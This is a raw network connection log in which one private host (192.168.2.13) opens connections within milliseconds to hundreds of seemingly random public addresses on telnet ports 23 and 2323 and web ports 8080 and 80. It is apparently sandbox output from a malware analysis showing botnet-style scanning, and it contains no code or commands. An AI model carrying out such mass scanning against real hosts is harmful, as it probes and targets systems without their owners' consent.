Mar 4, 2024 15:05:30.152745008 CET	47577	8080	192.168.2.13	94.191.92.91
Mar 4, 2024 15:05:30.152745008 CET	48089	80	192.168.2.13	88.136.3.232
Mar 4, 2024 15:05:30.152745008 CET	47577	8080	192.168.2.13	62.119.20.250
Mar 4, 2024 15:05:30.152745008 CET	47577	8080	192.168.2.13	94.58.189.48
Mar 4, 2024 15:05:30.152745962 CET	47577	8080	192.168.2.13	62.190.180.173
Mar 4, 2024 15:05:30.152756929 CET	47577	8080	192.168.2.13	94.176.107.254
Mar 4, 2024 15:05:30.152760029 CET	47577	8080	192.168.2.13	31.8.97.134
Mar 4, 2024 15:05:30.152774096 CET	47577	8080	192.168.2.13	94.42.95.246
Mar 4, 2024 15:05:30.152781010 CET	47577	8080	192.168.2.13	94.131.80.127
Mar 4, 2024 15:05:30.152790070 CET	47577	8080	192.168.2.13	94.14.212.115
Mar 4, 2024 15:05:30.152797937 CET	47577	8080	192.168.2.13	62.26.46.168
Mar 4, 2024 15:05:30.152797937 CET	47577	8080	192.168.2.13	95.170.52.153
Mar 4, 2024 15:05:30.152797937 CET	47577	8080	192.168.2.13	85.154.21.84
Mar 4, 2024 15:05:30.152806044 CET	47577	8080	192.168.2.13	94.228.119.148
Mar 4, 2024 15:05:30.152818918 CET	47577	8080	192.168.2.13	95.249.179.251
Mar 4, 2024 15:05:30.152818918 CET	47577	8080	192.168.2.13	95.67.61.149
Mar 4, 2024 15:05:30.152823925 CET	47577	8080	192.168.2.13	31.52.217.33
Mar 4, 2024 15:05:30.152847052 CET	47577	8080	192.168.2.13	94.123.32.156
Mar 4, 2024 15:05:30.152853966 CET	47577	8080	192.168.2.13	62.120.125.233
Mar 4, 2024 15:05:30.152857065 CET	47577	8080	192.168.2.13	94.125.227.92
Mar 4, 2024 15:05:30.152861118 CET	50393	2323	192.168.2.13	136.129.12.85
Mar 4, 2024 15:05:30.152859926 CET	47577	8080	192.168.2.13	62.188.222.181
Mar 4, 2024 15:05:30.152861118 CET	47577	8080	192.168.2.13	95.141.202.217
Mar 4, 2024 15:05:30.152873039 CET	47577	8080	192.168.2.13	95.114.212.58
Mar 4, 2024 15:05:30.152877092 CET	47577	8080	192.168.2.13	31.98.31.111
Mar 4, 2024 15:05:30.152877092 CET	50393	23	192.168.2.13	31.178.182.85
Mar 4, 2024 15:05:30.152877092 CET	47577	8080	192.168.2.13	94.235.162.212
Mar 4, 2024 15:05:30.152880907 CET	50393	23	192.168.2.13	210.168.152.234
Mar 4, 2024 15:05:30.152880907 CET	50393	23	192.168.2.13	108.211.7.75
Mar 4, 2024 15:05:30.152882099 CET	50393	23	192.168.2.13	223.219.35.155
Mar 4, 2024 15:05:30.152884960 CET	47577	8080	192.168.2.13	94.13.232.145
Mar 4, 2024 15:05:30.152896881 CET	50393	23	192.168.2.13	4.143.19.214
Mar 4, 2024 15:05:30.152896881 CET	47577	8080	192.168.2.13	94.177.54.176
Mar 4, 2024 15:05:30.152905941 CET	47577	8080	192.168.2.13	31.222.65.9
Mar 4, 2024 15:05:30.152910948 CET	47577	8080	192.168.2.13	31.205.18.114
Mar 4, 2024 15:05:30.152914047 CET	47577	8080	192.168.2.13	95.8.138.106
Mar 4, 2024 15:05:30.152914047 CET	47577	8080	192.168.2.13	31.115.119.149
Mar 4, 2024 15:05:30.152915001 CET	47577	8080	192.168.2.13	95.3.49.60
Mar 4, 2024 15:05:30.152914047 CET	50393	23	192.168.2.13	62.193.89.178
Mar 4, 2024 15:05:30.152915001 CET	50393	23	192.168.2.13	77.70.160.84
Mar 4, 2024 15:05:30.152924061 CET	47577	8080	192.168.2.13	31.75.213.188
Mar 4, 2024 15:05:30.152924061 CET	50393	23	192.168.2.13	94.66.137.54
Mar 4, 2024 15:05:30.152925968 CET	50393	23	192.168.2.13	117.212.7.246
Mar 4, 2024 15:05:30.152925968 CET	50393	23	192.168.2.13	188.167.189.227
Mar 4, 2024 15:05:30.152925968 CET	47577	8080	192.168.2.13	94.122.66.179
Mar 4, 2024 15:05:30.152925968 CET	50393	23	192.168.2.13	211.23.11.61
Mar 4, 2024 15:05:30.152930021 CET	50393	23	192.168.2.13	166.84.72.109
Mar 4, 2024 15:05:30.152930021 CET	50393	23	192.168.2.13	93.177.176.149
Mar 4, 2024 15:05:30.152930021 CET	50393	23	192.168.2.13	53.125.230.225
Mar 4, 2024 15:05:30.152930021 CET	50393	2323	192.168.2.13	91.136.5.99
Mar 4, 2024 15:05:30.152930021 CET	47577	8080	192.168.2.13	31.120.161.128
Mar 4, 2024 15:05:30.152930975 CET	47577	8080	192.168.2.13	62.197.68.125
Mar 4, 2024 15:05:30.152936935 CET	47577	8080	192.168.2.13	62.239.18.228
Mar 4, 2024 15:05:30.152936935 CET	50393	23	192.168.2.13	189.139.249.43
Mar 4, 2024 15:05:30.152945042 CET	50393	23	192.168.2.13	219.243.172.113
Mar 4, 2024 15:05:30.152945042 CET	50393	23	192.168.2.13	178.134.250.69
Mar 4, 2024 15:05:30.152945042 CET	50393	23	192.168.2.13	199.60.97.13
Mar 4, 2024 15:05:30.152950048 CET	47577	8080	192.168.2.13	95.25.230.125
Mar 4, 2024 15:05:30.152951956 CET	50393	23	192.168.2.13	141.43.164.48
Mar 4, 2024 15:05:30.152951956 CET	47577	8080	192.168.2.13	85.163.221.148
Mar 4, 2024 15:05:30.152950048 CET	50393	23	192.168.2.13	164.15.9.201
Mar 4, 2024 15:05:30.152951956 CET	50393	2323	192.168.2.13	204.69.4.206
Mar 4, 2024 15:05:30.152951956 CET	50393	23	192.168.2.13	49.34.85.244
Mar 4, 2024 15:05:30.152950048 CET	47577	8080	192.168.2.13	85.5.35.176
Mar 4, 2024 15:05:30.152951956 CET	47577	8080	192.168.2.13	95.167.34.71
Mar 4, 2024 15:05:30.152950048 CET	47577	8080	192.168.2.13	95.16.212.132
Mar 4, 2024 15:05:30.152967930 CET	47577	8080	192.168.2.13	94.51.130.25
Mar 4, 2024 15:05:30.152978897 CET	50393	23	192.168.2.13	148.160.254.223
Mar 4, 2024 15:05:30.152978897 CET	50393	23	192.168.2.13	93.225.49.123
Mar 4, 2024 15:05:30.152981997 CET	47577	8080	192.168.2.13	62.47.249.43
Mar 4, 2024 15:05:30.152981997 CET	50393	2323	192.168.2.13	180.163.136.136
Mar 4, 2024 15:05:30.152997017 CET	50393	23	192.168.2.13	63.151.47.251
Mar 4, 2024 15:05:30.153003931 CET	47577	8080	192.168.2.13	95.178.173.176
Mar 4, 2024 15:05:30.153004885 CET	50393	23	192.168.2.13	82.77.115.187
Mar 4, 2024 15:05:30.153006077 CET	50393	23	192.168.2.13	90.205.243.95
Mar 4, 2024 15:05:30.153004885 CET	50393	23	192.168.2.13	43.179.176.118
Mar 4, 2024 15:05:30.153003931 CET	50393	23	192.168.2.13	176.29.112.131
Mar 4, 2024 15:05:30.153004885 CET	50393	23	192.168.2.13	210.33.98.127
Mar 4, 2024 15:05:30.153003931 CET	50393	23	192.168.2.13	117.50.215.68
Mar 4, 2024 15:05:30.153013945 CET	47577	8080	192.168.2.13	85.246.252.213
Mar 4, 2024 15:05:30.153014898 CET	47577	8080	192.168.2.13	62.31.231.98
Mar 4, 2024 15:05:30.153017044 CET	47577	8080	192.168.2.13	31.23.248.134
Mar 4, 2024 15:05:30.153013945 CET	47577	8080	192.168.2.13	62.95.118.47
Mar 4, 2024 15:05:30.153017044 CET	47577	8080	192.168.2.13	85.176.168.66
Mar 4, 2024 15:05:30.153013945 CET	47577	8080	192.168.2.13	94.220.110.155
Mar 4, 2024 15:05:30.153013945 CET	50393	23	192.168.2.13	81.75.42.118
Mar 4, 2024 15:05:30.153023005 CET	50393	23	192.168.2.13	194.98.236.40
Mar 4, 2024 15:05:30.153023005 CET	50393	23	192.168.2.13	81.214.246.214
Mar 4, 2024 15:05:30.153023005 CET	50393	23	192.168.2.13	46.173.231.254
Mar 4, 2024 15:05:30.153023005 CET	47577	8080	192.168.2.13	31.254.236.59
Mar 4, 2024 15:05:30.153033018 CET	47577	8080	192.168.2.13	31.28.175.48
Mar 4, 2024 15:05:30.153033018 CET	47577	8080	192.168.2.13	62.9.118.133
Mar 4, 2024 15:05:30.153034925 CET	50393	23	192.168.2.13	4.166.80.12
Mar 4, 2024 15:05:30.153040886 CET	47577	8080	192.168.2.13	31.216.133.26
Mar 4, 2024 15:05:30.153044939 CET	47577	8080	192.168.2.13	31.225.148.178
Mar 4, 2024 15:05:30.153048038 CET	50393	2323	192.168.2.13	149.102.44.160
Mar 4, 2024 15:05:30.153048992 CET	47577	8080	192.168.2.13	94.114.24.24
Mar 4, 2024 15:05:30.153048992 CET	47577	8080	192.168.2.13	95.115.205.54
Mar 4, 2024 15:05:30.153049946 CET	47577	8080	192.168.2.13	31.143.119.93
Mar 4, 2024 15:05:30.153049946 CET	47577	8080	192.168.2.13	85.86.110.178
Mar 4, 2024 15:05:30.153057098 CET	50393	23	192.168.2.13	40.206.228.33
Mar 4, 2024 15:05:30.153062105 CET	47577	8080	192.168.2.13	31.230.71.255
Mar 4, 2024 15:05:30.153062105 CET	47577	8080	192.168.2.13	62.160.208.158
Mar 4, 2024 15:05:30.153067112 CET	50393	23	192.168.2.13	199.168.90.167
Mar 4, 2024 15:05:30.153075933 CET	47577	8080	192.168.2.13	95.225.17.17
Mar 4, 2024 15:05:30.153079033 CET	50393	23	192.168.2.13	190.139.81.234
Mar 4, 2024 15:05:30.153089046 CET	47577	8080	192.168.2.13	94.201.5.217
Mar 4, 2024 15:05:30.153095007 CET	47577	8080	192.168.2.13	95.28.126.158
Mar 4, 2024 15:05:30.153095007 CET	50393	23	192.168.2.13	134.98.103.54
Mar 4, 2024 15:05:30.153099060 CET	50393	23	192.168.2.13	102.96.231.42
Mar 4, 2024 15:05:30.153105974 CET	47577	8080	192.168.2.13	85.223.215.30
Mar 4, 2024 15:05:30.153105974 CET	47577	8080	192.168.2.13	94.24.77.207
Mar 4, 2024 15:05:30.153105974 CET	50393	23	192.168.2.13	205.71.45.206
Mar 4, 2024 15:05:30.153107882 CET	50393	23	192.168.2.13	85.109.158.165
Mar 4, 2024 15:05:30.153115988 CET	50393	23	192.168.2.13	202.127.143.114
Mar 4, 2024 15:05:30.153115988 CET	50393	23	192.168.2.13	77.54.165.40
Mar 4, 2024 15:05:30.153120995 CET	47577	8080	192.168.2.13	94.241.71.155
Mar 4, 2024 15:05:30.153120995 CET	50393	23	192.168.2.13	40.40.222.50
Mar 4, 2024 15:05:30.153120995 CET	50393	2323	192.168.2.13	132.22.205.254
Mar 4, 2024 15:05:30.153120995 CET	47577	8080	192.168.2.13	62.56.147.109
Mar 4, 2024 15:05:30.153131962 CET	50393	23	192.168.2.13	140.170.207.91
Mar 4, 2024 15:05:30.153131962 CET	50393	23	192.168.2.13	192.114.178.53
Mar 4, 2024 15:05:30.153135061 CET	47577	8080	192.168.2.13	62.100.172.98
Mar 4, 2024 15:05:30.153135061 CET	47577	8080	192.168.2.13	95.183.222.159
Mar 4, 2024 15:05:30.153136969 CET	50393	23	192.168.2.13	198.134.81.224
Mar 4, 2024 15:05:30.153136969 CET	50393	23	192.168.2.13	135.55.145.12
Mar 4, 2024 15:05:30.153136969 CET	50393	23	192.168.2.13	197.222.120.84
Mar 4, 2024 15:05:30.153150082 CET	47577	8080	192.168.2.13	95.252.241.163
Mar 4, 2024 15:05:30.153151989 CET	50393	23	192.168.2.13	147.247.116.231
Mar 4, 2024 15:05:30.153156996 CET	47577	8080	192.168.2.13	85.239.82.197
Mar 4, 2024 15:05:30.153157949 CET	50393	23	192.168.2.13	46.5.228.17
Mar 4, 2024 15:05:30.153167963 CET	50393	23	192.168.2.13	95.56.221.35
Mar 4, 2024 15:05:30.153171062 CET	47577	8080	192.168.2.13	95.17.21.81
Mar 4, 2024 15:05:30.153172970 CET	47577	8080	192.168.2.13	31.187.92.115
Mar 4, 2024 15:05:30.153176069 CET	50393	23	192.168.2.13	106.72.249.96
Mar 4, 2024 15:05:30.153178930 CET	47577	8080	192.168.2.13	94.7.243.117
Mar 4, 2024 15:05:30.153181076 CET	47577	8080	192.168.2.13	85.19.168.110
Mar 4, 2024 15:05:30.153181076 CET	47577	8080	192.168.2.13	95.183.245.202
Mar 4, 2024 15:05:30.153181076 CET	50393	2323	192.168.2.13	12.186.237.171
Mar 4, 2024 15:05:30.153181076 CET	47577	8080	192.168.2.13	95.2.198.196
Mar 4, 2024 15:05:30.153181076 CET	47577	8080	192.168.2.13	31.178.205.250
Mar 4, 2024 15:05:30.153191090 CET	50393	23	192.168.2.13	9.250.128.100
Mar 4, 2024 15:05:30.153198957 CET	47577	8080	192.168.2.13	94.187.44.98
Mar 4, 2024 15:05:30.153198957 CET	50393	23	192.168.2.13	177.42.19.94
Mar 4, 2024 15:05:30.153202057 CET	47577	8080	192.168.2.13	94.234.240.68
Mar 4, 2024 15:05:30.153203964 CET	50393	23	192.168.2.13	159.28.184.19
Mar 4, 2024 15:05:30.153203964 CET	47577	8080	192.168.2.13	94.22.178.163
Mar 4, 2024 15:05:30.153203964 CET	47577	8080	192.168.2.13	31.81.23.200
Mar 4, 2024 15:05:30.153214931 CET	50393	23	192.168.2.13	216.31.219.161
Mar 4, 2024 15:05:30.153218031 CET	50393	23	192.168.2.13	43.213.113.83
Mar 4, 2024 15:05:30.153218031 CET	47577	8080	192.168.2.13	95.10.237.17
Mar 4, 2024 15:05:30.153218031 CET	50393	23	192.168.2.13	20.165.238.21
Mar 4, 2024 15:05:30.153222084 CET	50393	23	192.168.2.13	84.210.205.226
Mar 4, 2024 15:05:30.153218031 CET	47577	8080	192.168.2.13	62.162.59.101
Mar 4, 2024 15:05:30.153224945 CET	47577	8080	192.168.2.13	31.156.203.205
Mar 4, 2024 15:05:30.153224945 CET	47577	8080	192.168.2.13	31.97.128.30
Mar 4, 2024 15:05:30.153224945 CET	47577	8080	192.168.2.13	85.1.66.127
Mar 4, 2024 15:05:30.153224945 CET	50393	23	192.168.2.13	223.195.231.39
Mar 4, 2024 15:05:30.153224945 CET	50393	23	192.168.2.13	59.58.40.118
Mar 4, 2024 15:05:30.153239012 CET	47577	8080	192.168.2.13	31.128.194.112
Mar 4, 2024 15:05:30.153239965 CET	50393	23	192.168.2.13	105.231.35.175
Mar 4, 2024 15:05:30.153239965 CET	47577	8080	192.168.2.13	62.215.154.142
Mar 4, 2024 15:05:30.153242111 CET	50393	2323	192.168.2.13	158.159.13.188
Mar 4, 2024 15:05:30.153242111 CET	47577	8080	192.168.2.13	85.136.17.68
Mar 4, 2024 15:05:30.153242111 CET	50393	23	192.168.2.13	27.26.52.87
Mar 4, 2024 15:05:30.153254032 CET	50393	23	192.168.2.13	187.186.100.125
Mar 4, 2024 15:05:30.153255939 CET	47577	8080	192.168.2.13	94.125.153.133
Mar 4, 2024 15:05:30.153254986 CET	50393	23	192.168.2.13	170.252.4.216
Mar 4, 2024 15:05:30.153255939 CET	47577	8080	192.168.2.13	85.116.83.184
Mar 4, 2024 15:05:30.153255939 CET	47577	8080	192.168.2.13	62.185.134.1
Mar 4, 2024 15:05:30.153254986 CET	50393	23	192.168.2.13	185.99.162.199
Mar 4, 2024 15:05:30.153254986 CET	50393	23	192.168.2.13	139.141.26.128
Mar 4, 2024 15:05:30.153265953 CET	47577	8080	192.168.2.13	62.115.228.110
Mar 4, 2024 15:05:30.153271914 CET	47577	8080	192.168.2.13	31.213.134.137
Mar 4, 2024 15:05:30.153271914 CET	50393	23	192.168.2.13	58.161.138.184
Mar 4, 2024 15:05:30.153271914 CET	50393	23	192.168.2.13	81.17.201.123
Mar 4, 2024 15:05:30.153271914 CET	47577	8080	192.168.2.13	85.176.109.52
Mar 4, 2024 15:05:30.153274059 CET	47577	8080	192.168.2.13	31.241.124.196
Mar 4, 2024 15:05:30.153274059 CET	50393	23	192.168.2.13	157.56.247.198
Mar 4, 2024 15:05:30.153278112 CET	50393	23	192.168.2.13	20.62.157.237
Mar 4, 2024 15:05:30.153279066 CET	47577	8080	192.168.2.13	85.229.70.3
Mar 4, 2024 15:05:30.153290987 CET	47577	8080	192.168.2.13	31.22.252.53
Mar 4, 2024 15:05:30.153290987 CET	50393	23	192.168.2.13	91.196.44.56
Mar 4, 2024 15:05:30.153290987 CET	50393	23	192.168.2.13	208.168.221.113
Mar 4, 2024 15:05:30.153290987 CET	47577	8080	192.168.2.13	31.165.14.77
Mar 4, 2024 15:05:30.153290987 CET	50393	23	192.168.2.13	94.215.97.238
Mar 4, 2024 15:05:30.153290987 CET	47577	8080	192.168.2.13	31.236.113.189
Mar 4, 2024 15:05:30.153290987 CET	50393	23	192.168.2.13	5.121.165.124
Mar 4, 2024 15:05:30.153299093 CET	47577	8080	192.168.2.13	95.75.46.25
Mar 4, 2024 15:05:30.153304100 CET	50393	23	192.168.2.13	70.201.242.6
Mar 4, 2024 15:05:30.153302908 CET	47577	8080	192.168.2.13	95.63.93.15
Mar 4, 2024 15:05:30.153304100 CET	47577	8080	192.168.2.13	62.96.40.123
Mar 4, 2024 15:05:30.153304100 CET	47577	8080	192.168.2.13	85.83.115.245
Mar 4, 2024 15:05:30.153307915 CET	47577	8080	192.168.2.13	31.168.58.251
Mar 4, 2024 15:05:30.153304100 CET	47577	8080	192.168.2.13	62.3.238.250
Mar 4, 2024 15:05:30.153304100 CET	47577	8080	192.168.2.13	85.171.45.218
Mar 4, 2024 15:05:30.153304100 CET	47577	8080	192.168.2.13	94.107.22.254
Mar 4, 2024 15:05:30.153304100 CET	50393	23	192.168.2.13	106.179.41.214
Mar 4, 2024 15:05:30.153322935 CET	50393	23	192.168.2.13	100.253.154.6
Mar 4, 2024 15:05:30.153322935 CET	50393	23	192.168.2.13	216.230.121.234
Mar 4, 2024 15:05:30.153322935 CET	50393	2323	192.168.2.13	41.172.89.160
Mar 4, 2024 15:05:30.153326035 CET	50393	23	192.168.2.13	182.71.124.65
Mar 4, 2024 15:05:30.153326988 CET	50393	23	192.168.2.13	161.190.165.119
Mar 4, 2024 15:05:30.153327942 CET	47577	8080	192.168.2.13	94.207.15.168
Mar 4, 2024 15:05:30.153327942 CET	50393	2323	192.168.2.13	35.61.35.143
Mar 4, 2024 15:05:30.153327942 CET	47577	8080	192.168.2.13	31.214.155.92
Mar 4, 2024 15:05:30.153327942 CET	50393	23	192.168.2.13	79.99.128.80
Mar 4, 2024 15:05:30.153341055 CET	50393	23	192.168.2.13	216.183.223.143
Mar 4, 2024 15:05:30.153343916 CET	50393	23	192.168.2.13	95.62.68.232
Mar 4, 2024 15:05:30.153357029 CET	50393	23	192.168.2.13	129.217.142.94
Mar 4, 2024 15:05:30.153358936 CET	50393	2323	192.168.2.13	139.43.58.217
Mar 4, 2024 15:05:30.153363943 CET	50393	23	192.168.2.13	198.69.26.159
Mar 4, 2024 15:05:30.153373957 CET	50393	23	192.168.2.13	111.142.178.118
Mar 4, 2024 15:05:30.153383970 CET	50393	23	192.168.2.13	212.113.122.35
Mar 4, 2024 15:05:30.153404951 CET	50393	23	192.168.2.13	119.226.149.95
Mar 4, 2024 15:05:30.153405905 CET	50393	23	192.168.2.13	130.113.247.207
Mar 4, 2024 15:05:30.153409958 CET	50393	23	192.168.2.13	204.226.17.144
Mar 4, 2024 15:05:30.153417110 CET	50393	23	192.168.2.13	178.184.49.130
Mar 4, 2024 15:05:30.153417110 CET	50393	23	192.168.2.13	144.129.6.244
Mar 4, 2024 15:05:30.153418064 CET	50393	23	192.168.2.13	14.2.48.164
Mar 4, 2024 15:05:30.153418064 CET	50393	23	192.168.2.13	217.126.165.30
Mar 4, 2024 15:05:30.153429031 CET	50393	2323	192.168.2.13	47.93.224.94
Mar 4, 2024 15:05:30.153440952 CET	50393	23	192.168.2.13	54.62.236.51
Mar 4, 2024 15:05:30.153440952 CET	50393	23	192.168.2.13	202.83.223.24
Mar 4, 2024 15:05:30.153445959 CET	50393	23	192.168.2.13	139.22.124.80
Mar 4, 2024 15:05:30.153445959 CET	50393	23	192.168.2.13	159.225.184.22
Mar 4, 2024 15:05:30.153451920 CET	50393	23	192.168.2.13	74.43.88.82
Mar 4, 2024 15:05:30.153451920 CET	50393	23	192.168.2.13	184.158.77.93
Mar 4, 2024 15:05:30.153456926 CET	50393	23	192.168.2.13	13.233.120.104
Mar 4, 2024 15:05:30.153456926 CET	50393	2323	192.168.2.13	188.49.69.42
Mar 4, 2024 15:05:30.153466940 CET	50393	23	192.168.2.13	1.109.110.177
Mar 4, 2024 15:05:30.153475046 CET	50393	23	192.168.2.13	112.150.176.98
Mar 4, 2024 15:05:30.153484106 CET	50393	23	192.168.2.13	181.128.216.166
Mar 4, 2024 15:05:30.153484106 CET	50393	23	192.168.2.13	187.53.144.211
Mar 4, 2024 15:05:30.153500080 CET	50393	23	192.168.2.13	212.250.129.168
Mar 4, 2024 15:05:30.153500080 CET	50393	23	192.168.2.13	100.127.7.184
Mar 4, 2024 15:05:30.153500080 CET	50393	23	192.168.2.13	208.176.57.76
Mar 4, 2024 15:05:30.153500080 CET	50393	23	192.168.2.13	119.201.202.50
Mar 4, 2024 15:05:30.153511047 CET	50393	23	192.168.2.13	93.48.148.89
Mar 4, 2024 15:05:30.153512955 CET	50393	2323	192.168.2.13	200.228.129.212
Mar 4, 2024 15:05:30.153513908 CET	50393	23	192.168.2.13	92.194.104.0
Mar 4, 2024 15:05:30.153513908 CET	50393	23	192.168.2.13	110.230.49.253
Mar 4, 2024 15:05:30.153513908 CET	50393	23	192.168.2.13	142.11.74.196
Mar 4, 2024 15:05:30.153517962 CET	50393	23	192.168.2.13	110.82.95.142
Mar 4, 2024 15:05:30.153513908 CET	50393	23	192.168.2.13	135.14.195.117
Mar 4, 2024 15:05:30.153527021 CET	50393	23	192.168.2.13	80.104.51.142
Mar 4, 2024 15:05:30.153539896 CET	50393	23	192.168.2.13	51.164.132.212
Mar 4, 2024 15:05:30.153542995 CET	50393	23	192.168.2.13	141.150.102.130
Mar 4, 2024 15:05:30.153548956 CET	50393	23	192.168.2.13	171.166.126.4
Mar 4, 2024 15:05:30.153553963 CET	50393	23	192.168.2.13	140.107.144.57
Mar 4, 2024 15:05:30.153554916 CET	50393	23	192.168.2.13	43.64.114.147
Mar 4, 2024 15:05:30.153574944 CET	50393	23	192.168.2.13	31.136.37.169
Mar 4, 2024 15:05:30.153574944 CET	50393	23	192.168.2.13	129.202.217.70
Mar 4, 2024 15:05:30.153574944 CET	50393	2323	192.168.2.13	132.15.84.165
Mar 4, 2024 15:05:30.153584003 CET	50393	23	192.168.2.13	110.39.115.141
Mar 4, 2024 15:05:30.153584957 CET	50393	23	192.168.2.13	103.228.136.198
Mar 4, 2024 15:05:30.153603077 CET	50393	23	192.168.2.13	39.53.161.247
Mar 4, 2024 15:05:30.153603077 CET	50393	23	192.168.2.13	115.180.73.99
Mar 4, 2024 15:05:30.153605938 CET	50393	23	192.168.2.13	17.195.98.43
Mar 4, 2024 15:05:30.153608084 CET	50393	23	192.168.2.13	143.8.97.38
Mar 4, 2024 15:05:30.153609037 CET	50393	23	192.168.2.13	135.67.172.238
Mar 4, 2024 15:05:30.153616905 CET	50393	23	192.168.2.13	216.235.203.213
Mar 4, 2024 15:05:30.153616905 CET	50393	23	192.168.2.13	158.48.138.178
Mar 4, 2024 15:05:30.153621912 CET	50393	23	192.168.2.13	132.136.210.168
Mar 4, 2024 15:05:30.153626919 CET	50393	2323	192.168.2.13	120.164.107.202
Mar 4, 2024 15:05:30.153630972 CET	50393	23	192.168.2.13	115.193.157.194
Mar 4, 2024 15:05:30.153630972 CET	50393	23	192.168.2.13	217.235.238.220
Mar 4, 2024 15:05:30.153647900 CET	50393	23	192.168.2.13	175.162.0.178
Mar 4, 2024 15:05:30.153651953 CET	50393	23	192.168.2.13	57.99.113.37
Mar 4, 2024 15:05:30.153656960 CET	50393	23	192.168.2.13	135.133.97.82
Mar 4, 2024 15:05:30.153667927 CET	50393	23	192.168.2.13	192.190.21.104
Mar 4, 2024 15:05:30.153673887 CET	50393	23	192.168.2.13	99.154.63.107
Mar 4, 2024 15:05:30.153676033 CET	50393	23	192.168.2.13	209.36.109.6
Mar 4, 2024 15:05:30.153676033 CET	50393	2323	192.168.2.13	158.138.164.136
Mar 4, 2024 15:05:30.153696060 CET	50393	23	192.168.2.13	206.65.57.149
Mar 4, 2024 15:05:30.153706074 CET	50393	23	192.168.2.13	171.92.22.187
Mar 4, 2024 15:05:30.153706074 CET	50393	23	192.168.2.13	149.70.119.24
Mar 4, 2024 15:05:30.153707981 CET	50393	23	192.168.2.13	2.10.214.95
Mar 4, 2024 15:05:30.153708935 CET	50393	23	192.168.2.13	36.107.229.164
Mar 4, 2024 15:05:30.153707981 CET	50393	23	192.168.2.13	118.187.85.236
Mar 4, 2024 15:05:30.153717995 CET	50393	23	192.168.2.13	133.32.91.53
Mar 4, 2024 15:05:30.153726101 CET	50393	2323	192.168.2.13	54.168.92.68
Mar 4, 2024 15:05:30.153727055 CET	50393	23	192.168.2.13	5.98.238.235
Mar 4, 2024 15:05:30.153728008 CET	50393	23	192.168.2.13	139.176.246.86
Mar 4, 2024 15:05:30.153732061 CET	50393	23	192.168.2.13	52.207.39.32
Mar 4, 2024 15:05:30.153742075 CET	50393	23	192.168.2.13	130.244.84.37
Mar 4, 2024 15:05:30.153753996 CET	50393	23	192.168.2.13	40.107.213.204
Mar 4, 2024 15:05:30.153764009 CET	50393	23	192.168.2.13	205.12.122.219
Mar 4, 2024 15:05:30.153765917 CET	50393	23	192.168.2.13	42.137.128.141
Mar 4, 2024 15:05:30.153765917 CET	50393	23	192.168.2.13	101.211.80.32
Mar 4, 2024 15:05:30.153781891 CET	50393	23	192.168.2.13	121.247.170.169
Mar 4, 2024 15:05:30.153784037 CET	50393	23	192.168.2.13	8.15.59.40
Mar 4, 2024 15:05:30.153789043 CET	50393	23	192.168.2.13	218.109.226.62
Mar 4, 2024 15:05:30.153789997 CET	50393	2323	192.168.2.13	75.215.204.5
Mar 4, 2024 15:05:30.153800964 CET	50393	23	192.168.2.13	154.8.201.22
Mar 4, 2024 15:05:30.153801918 CET	50393	23	192.168.2.13	139.101.93.2
Mar 4, 2024 15:05:30.153810024 CET	50393	23	192.168.2.13	120.249.130.126
Mar 4, 2024 15:05:30.153810024 CET	50393	23	192.168.2.13	177.222.161.153
Mar 4, 2024 15:05:30.153819084 CET	50393	23	192.168.2.13	94.74.224.178
Mar 4, 2024 15:05:30.153820992 CET	50393	23	192.168.2.13	151.45.240.93
Mar 4, 2024 15:05:30.153831959 CET	50393	23	192.168.2.13	137.228.192.151
Mar 4, 2024 15:05:30.153832912 CET	50393	23	192.168.2.13	159.134.200.55
Mar 4, 2024 15:05:30.153837919 CET	50393	23	192.168.2.13	199.169.59.24
Mar 4, 2024 15:05:30.153841019 CET	50393	2323	192.168.2.13	184.115.164.196
Mar 4, 2024 15:05:30.153851032 CET	50393	23	192.168.2.13	81.174.88.203
Mar 4, 2024 15:05:30.153865099 CET	50393	23	192.168.2.13	133.93.241.181
Mar 4, 2024 15:05:30.153871059 CET	50393	23	192.168.2.13	68.242.128.10
Mar 4, 2024 15:05:30.153899908 CET	50393	23	192.168.2.13	142.183.149.139
Mar 4, 2024 15:05:30.153907061 CET	50393	23	192.168.2.13	189.57.57.93
Mar 4, 2024 15:05:30.153912067 CET	50393	23	192.168.2.13	76.189.116.151
Mar 4, 2024 15:05:30.153913021 CET	50393	23	192.168.2.13	24.91.21.114
Mar 4, 2024 15:05:30.153914928 CET	50393	23	192.168.2.13	85.82.161.40
Mar 4, 2024 15:05:30.153922081 CET	50393	2323	192.168.2.13	18.59.248.103
Mar 4, 2024 15:05:30.153922081 CET	50393	23	192.168.2.13	12.149.111.4
Mar 4, 2024 15:05:30.153922081 CET	50393	23	192.168.2.13	89.107.27.111
Mar 4, 2024 15:05:30.153939009 CET	50393	23	192.168.2.13	153.211.90.88
Mar 4, 2024 15:05:30.153939962 CET	50393	23	192.168.2.13	151.107.17.81
Mar 4, 2024 15:05:30.153949976 CET	50393	23	192.168.2.13	17.191.145.195
Mar 4, 2024 15:05:30.153959036 CET	50393	23	192.168.2.13	78.55.89.246
Mar 4, 2024 15:05:30.153959990 CET	50393	23	192.168.2.13	114.142.48.153
Mar 4, 2024 15:05:30.153964996 CET	50393	23	192.168.2.13	221.23.2.144
Mar 4, 2024 15:05:30.153965950 CET	50393	23	192.168.2.13	203.95.44.130
Mar 4, 2024 15:05:30.153975010 CET	50393	23	192.168.2.13	105.88.21.137
Mar 4, 2024 15:05:30.153987885 CET	50393	2323	192.168.2.13	171.132.135.55
Mar 4, 2024 15:05:30.153987885 CET	50393	23	192.168.2.13	95.175.40.186
Mar 4, 2024 15:05:30.153997898 CET	50393	23	192.168.2.13	36.225.186.240
Mar 4, 2024 15:05:30.154006004 CET	50393	23	192.168.2.13	165.95.27.119
Mar 4, 2024 15:05:30.154015064 CET	50393	23	192.168.2.13	82.243.176.55
Mar 4, 2024 15:05:30.154016018 CET	50393	23	192.168.2.13	114.90.111.148
Mar 4, 2024 15:05:30.154017925 CET	50393	23	192.168.2.13	189.50.140.243
Mar 4, 2024 15:05:30.154035091 CET	50393	23	192.168.2.13	212.5.61.37
Mar 4, 2024 15:05:30.154046059 CET	50393	23	192.168.2.13	1.171.75.25
Mar 4, 2024 15:05:30.154047966 CET	50393	23	192.168.2.13	120.228.53.207
Mar 4, 2024 15:05:30.154061079 CET	50393	2323	192.168.2.13	40.209.221.58
Mar 4, 2024 15:05:30.154062986 CET	50393	23	192.168.2.13	212.192.122.211
Mar 4, 2024 15:05:30.154067993 CET	50393	23	192.168.2.13	160.49.238.79
Mar 4, 2024 15:05:30.154076099 CET	50393	23	192.168.2.13	136.59.219.157
